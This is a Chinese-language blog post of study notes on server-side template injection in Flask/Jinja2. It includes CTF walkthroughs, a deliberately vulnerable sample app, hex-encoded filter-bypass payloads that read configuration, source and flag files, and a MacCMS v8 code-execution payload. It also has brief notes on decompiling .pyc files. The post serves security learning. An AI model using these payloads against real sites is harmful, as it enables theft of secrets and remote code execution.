CMS-SSTI模版注入 & PYC反编译

CMS-SSTI模版注入 & PYC反编译

img

1、什么是SSTI?有什么漏洞危害?

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

2、如何判断检测SSTI漏洞的存在?

-输入的数据会被浏览器利用当前脚本语言调用解析执行

3、SSTI会产生在那些语言开发应用?

-见上图

4、SSTI安全问题在生产环境那里产生?

-存在模版引用的地方,如404错误页面展示

-存在数据接收引用的地方,如模版解析获取参数数据

SSTI考点-CTF靶场-[WesternCTF]shrine

1、源码分析SSTI考点

2、测试判断SSTI存在

3、分析代码过滤和FLAG存储

4、利用Flask两个函数利用获取

https://blog.csdn.net/houyanhua1/article/details/85470175

url_for()函数是用于构建操作指定函数的URL

get_flashed_messages()函数是获取传递过来的数据

/shrine/{{url_for.globals}}

/shrine/{{url_for.globals['current_app'].config}}

/shrine/{{get_flashed_messages.globals}}

/shrine/{{get_flashed_messages.globals['current_app'].config}}

Python SSTI漏洞示例代码

from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.args.get('404_url'))
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)

SSTI靶场学习

题目来源: https://ctf.bugku.com/

Simple_SSTI_1

image-20220808170631307

测试是否存在SSTI

image-20220808170709296

发现无过滤

#寻找可用函数
{{[]["__class__"]["__base__"]["__subclasses__"]()}}

image-20220808170808713

payload:

# 查看配置文件直接拿到Flag
{{url_for.__globals__[%27current_app%27].config}}

image-20220808171152276

Simple_SSTI_2

#寻找可用函数
{{[]["__class__"]["__base__"]["__subclasses__"]()}}

image-20220808171429111

payload:

{{[]["__class__"]["__base__"]["__subclasses__"]()[91]["get_data"](0, "/proc/self/cmdline")}}

image-20220808171808647

发现现在运行的程序时app.py

获得程序源码 推出flag所在位置

{{[]["__class__"]["__base__"]["__subclasses__"]()[91]["get_data"](0, "app.py")}}

image-20220808172032255

构造payload拿到Flag

{{[]["__class__"]["__base__"]["__subclasses__"]()[91]["get_data"](0, "/app/flag")}}

image-20220808172126994

PASECA CTF 2019 Flask_SSTI

靶机环境:https://github.com/CTFTraining/pasecactf_2019_web_flask_ssti

参考链接:https://blog.csdn.net/huangyongkang666/article/details/123628875

image-20220808155453790

测试是否存在SSTI注入

image-20220808155530847

{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

image-20220808160716627

经过测试过滤了好多东西

附上十六进制转换python脚本

code = "/proc/self/fd/1"
ssti = ""
length = len(code)
for i in range(length):
    ssti += "\\x" + hex(ord(code[i]))[2:]
print(ssti)

__class__ __base__ __subclasses__使用这三个来选可用的对象和调用函数

将下面内容转化为16进制

  • __class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
  • __base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
  • __subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f

构造payload:

{{[]["__class__"]["__base__"]["__subclasses__"]()}}

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}

image-20220808161759207

接下来就是选可用的对象和调用函数了

看了一下wp,调用了这个类<class '_frozen_importlib_external.FileLoader'>

{{[]["__class__"]["__base__"]["__subclasses__"]()[91]["get_data"](0, "/proc/self/cmdline")}}

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/cmdline")}}

发现现在运行的程序时app.py

image-20220808162143289

payload:

{{[]["__class__"]["__base__"]["__subclasses__"]()[91]["get_data"](0, "app.py")}}

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}

获得程序源码 推出flag所在位置

image-20220808162955158

{{[]["__class__"]["__base__"]["__subclasses__"]()[91]["get_data"](0, "/proc/self/fd/3")}}

{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/fd/3")}}

image-20220808162602936

CMS源码-MACCMS_V8.X执行

Payload:

index.php?m=vod-search&wd={if-dddd:phpinfo()}{endif-dddd}

1、根据wd传递的代码找指向文件

2、index->vod->tpl->ifex->eval

3、构造Payload带入ifex并绕过后执行

PYC反编译

pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。

真题附件:http://pan.baidu.com/s/1jGpB8DS

反编译平台:

https://tool.lu/pyc/

http://tools.bugscaner.com/decompyle/

反编译工具:https://github.com/wibiti/uncompyle2

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇